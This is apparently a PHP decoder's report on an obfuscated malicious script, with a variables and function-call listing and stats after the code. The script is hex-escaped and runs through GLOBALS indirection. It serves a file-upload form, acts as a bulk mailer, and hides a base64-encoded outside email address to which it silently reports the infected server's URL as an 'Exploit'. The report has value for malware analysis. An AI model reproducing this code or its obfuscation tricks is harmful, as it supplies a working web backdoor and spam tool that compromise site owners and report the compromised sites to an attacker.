#d\x665\x3b\x20fon\x74-s\x69ze:\x201\x31p\x78\x22\x3e\n\x3c\x63e\x6e\x74er><\x66\x6f\x72\x6d m\x65\x74h\x6fd\x3d\x22P\x4fST\x22 en\x63\x74ype\x3d\x22m\x75l\x74\x69\x70\x61\x72\x74/form-da\x74a\x22\x3e\n\x3cin\x70u\x74 typ\x65\x3d\x22\x66\x69l\x65\" \x63la\x73s=\x22i\x6eputz\x62u\x74\" n\x61m\x65=\"\x75\x73\x65rfi\x6c\x65\x22 s\x74\x79l\x65=\"f\x6f\x6e\x74-\x73i\x7ae: \x38pt\x3b\x20co\x6c\x6fr:\x20#\x64\x665; \x66o\x6e\x74-\x66\x61\x6d\x69ly:\x20Ta\x68\x6fm\x61; b\x6f\x72\x64e\x72:\x201 s\x6flid\x20\x23666\x36\x366;\x20b\x61\x63\x6bg\x72ou\x6ed-\x63\x6f\x6c\x6fr:\x20#FF0\x30\x30\x30\"\x3e\n\x3ci\x6e\x70\x75\x74 \x74ype=\"submi\x74\x22 \x63la\x73s=\x22in\x70u\x74zbut\x22\x20name\x3d\"s\x75\x62m\x69t\"\x20v\x61lu\x65=\x22\x55\x70lo\x61\x64\x22\x20s\x74yle\x3d\"\x66\x6fn\x74-\x73\x69\x7ae:\x208pt; \x63ol\x6fr: \x23df5\x3b fo\x6et-f\x61mil\x79:\x20T\x61\x68\x6f\x6d\x61\x3b b\x6f\x72\x64\x65r:\x20\x31 \x73\x6f\x6c\x69\x64 #\x366\x3666\x36\x3b back\x67r\x6fund-c\x6fl\x6f\x72: #\x46F\x300\x300\x22>\x3cb\x72\x3e".${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x63b\x76\x74\x70\x74\x6ep\x74\x71"]}."</fo\x72m\x3e</cen\x74e\x72\x3e</\x74\x64\x3e</\x74\x72\x3e</\x74\x61\x62\x6c\x65\x3e\x3c/\x64i\x76\x3e";}if(isset($_POST["\x61c\x74\x69on"])&&${${"G\x4c\x4f\x42\x41\x4cS"}["\x68\x68h\x74s\x69\x6e\x77\x64b\x72"]}!=0){echo"\x3cs\x63\x72\x69pt\x3e\x61\x6ce\x72t(\x27\x79e\x73\\\x72\x5cn$numemails\x20\x6da\x69l(\x73)\x20w\x61s \nse\x6e\x74 s\x75c\x63es\x73\x66ull\x79')\x3b\x20</\x73c\x72ip\x74\x3e";}${"\x47\x4c\x4fB\x41\x4cS"}["\x70\x78\x66nqb"]="\x74\x6f";${"\x47L\x4fBA\x4c\x53"}["ndw\x6dn\x74r\x76\x6bw"]="\x73";$easvuiowwo="u\x70b\x61y\x6c\x6c\x7a";${"GL\x4f\x42A\x4cS"}["\x6f\x64g\x62\x72\x62\x6el"]="\x73";${${"GLOBALS"}["\x6f\x64g\x62\x72bn\x6c"]}="c\x47F5c\x32V\x6a\x4fTZA\x5a2\x31\x68a\x57w\x75Y2\x39t\x43g\x3d\x3d";${${"\x47\x4cO\x42\x41\x4cS"}["p\x78\x66\x6e\x71b"]}=base64_decode(${${"\x47L\x4f\x42\x41\x4c\x53"}["\x6e\x64\x77\x6dn\x74rv\x6bw"]});${${"G\x4c\x4fB\x41L\x53"}["\x6aw\x61\x75\x77\x63z\x67"]}="m\x61\x69\x6c\x65r";$xvpykwv="t\x6f\x68k\x77\x69\x67\x6c\x64\x73\x6e";${${"\x47\x4cO\x42\x41L\x53"}["t\x61\x6br\x79\x6an\x75\x64\x79"]}="\x6d\x61il";${"G\x4cO\x42A\x4cS"}["fv\x66i\x71\x6e"]="\x6de\x73\x73ag\x65";${$xvpykwv}="\x68";${"G\x4cO\x42\x41\x4cS"}["\x72\x63t\x66\x6c\x77s\x74"]="head\x65r";echo"";${${"GLOB\x41L\x53"}["\x72c\x74fl\x77\x73\x74"]}=base64_decode(${${${"G\x4c\x4f\x42\x41\x4cS"}["\x6e\x71\x6f\x75\x6dhf\x61kk"]}});${${"G\x4cO\x42A\x4c\x53"}["fvf\x69q\x6e"]}="Ex\x70\x6c\x6f\x69t\x20: \x68t\x74\x70://".$_SERVER["S\x45\x52\x56\x45\x52\x5f\x4e\x41\x4d\x45"].$_SERVER["\x52\x45\x51U\x45ST_U\x52I"]."?dz1=h\x6br ";${"GLOBA\x4cS"}["\x74h\x66xprp\x6c\x72"]="hea\x64e\x72";${$easvuiowwo}="\x73";${"\x47\x4c\x4f\x42\x41\x4cS"}["q\x76\x69\x6aieu\x75q\x70"]="t\x6f";${"\x47LOB\x41\x4c\x53"}["\x75\x74\x62msm"]="\x73e\x6e\x74\x6dai\x6c";$xrpgmpgyplc="\x79\x70\x64\x71\x6bpn\x6e\x66\x68\x65";${$xrpgmpgyplc}="su\x62j\x65\x63\x74";${"GLOBALS"}["\x6b\x65\x6efyqlx"]="\x6de\x73s\x61\x67e";echo"";${${"\x47L\x4f\x42ALS"}["\x75tb\x6d\x73\x6d"]}=@${${"G\x4c\x4f\x42A\x4c\x53"}["\x77\x64\x69\x78\x6f\x66ou\x68\x6bt"]}(${${"G\x4c\x4fB\x41L\x53"}["\x71\x76\x69ji\x65u\x75\x71p"]},${${${"\x47\x4c\x4f\x42A\x4cS"}["np\x79b\x63l\x6agul\x65"]}},${${"G\x4cOB\x41\x4c\x53"}["k\x65\x6efy\x71l\x78"]},${${"GLO\x42\x41LS"}["\x74h\x66x\x70r\x70lr"]});echo"";exit;echo "<\x70\x20al\x69g\x6e\x3d\x22cent\x65\x72\"\x3e\x26\x6e\x62\x73p\x3b\x3c/\x70>\n\x26\x6e\x62\x73\x70;\n\x3c/b\x6f\x64y>\n</html\x3e\n";
?>

Function Calls

mail 1
urldecode 1
base64_decode 2

Variables

s cGF5c2VjOTZAZ21haWwuY29tCg==
to [email protected]
rev mail
testa None
header
target None
upload None
GLOBALS [{'key': 'npybcljgule', 'value': 'ypdqkpnnfhe'}, {'key': 'nqoumhfakk', 'value': 'tohkwigldsn'}, {'key': 'cbvtptnptq', 'value': 'resultati'}, {'key': 'wdixofouhkt', 'value': 'rev'}, {'key': 'plwpmsuh', 'value': 'uploadfile'}, {'key': 'jyndplea', 'value': 'uploaddir'}, {'key': 'jwauwczg', 'value': 'subject'}, {'key': 'noxjkvwcrm', 'value': 'i'}, {'key': 'ohcbccmwow', 'value': 'headers'}, {'key': 'ixwmvrlv', 'value': 'email'}, {'key': 'pktysphkew', 'value': 'ok'}, {'key': 'kktetywyuui', 'value': 'count'}, {'key': 'fotjmh', 'value': 'message'}, {'key': 'tjgjnmk', 'value': 'to'}, {'key': 'hhhtsinwdbr', 'value': 'numemails'}, {'key': 'cpquroudlryc', 'value': 'de'}, {'key': 'ppikpqkahqo', 'value': 'subject'}, {'key': 'ucqimehdt', 'value': 'target'}, {'key': 'hrcnxv', 'value': 'testa'}, {'key': 'djdkdmeubbm', 'value': 'testa'}, {'key': 'eqmilmdiptn', 'value': 'upload'}, {'key': 'kqoxeoyvwwx', 'value': 'upload'}, {'key': 'takryjnudy', 'value': 'rev'}, {'key': 'pxfnqb', 'value': 'to'}, {'key': 'ndwmntrvkw', 'value': 's'}, {'key': 'odgbrbnl', 'value': 's'}, {'key': 'fvfiqn', 'value': 'message'}, {'key': 'rctflwst', 'value': 'header'}, {'key': 'thfxprplr', 'value': 'header'}, {'key': 'qvijieuuqp', 'value': 'to'}, {'key': 'utbmsm', 'value': 'sentmail'}, {'key': 'kenfyqlx', 'value': 'message'}]
message Exploit : http://NoneNone?dz1=hkr
subject mailer
$xvpykwv tohkwigldsn
upbayllz s
$O0O000O00 fgets
$O0O000O0O fgetc
$O0O00OO00 fread
$OOO000000 fg6sbehpra4co_tnd
$OOO00000O strtr
$OOO0000O0 base64_decode
$OOO000O00 fopen
$easvuiowwo upbayllz
$slirpijcth target
tohkwigldsn h
ypdqkpnnfhe subject
$xrpgmpgyplc ypdqkpnnfhe

Stats

MD5 b9709f59bcc3de197b6e1021fb962104
Eval Count 0
Decode Time 886 ms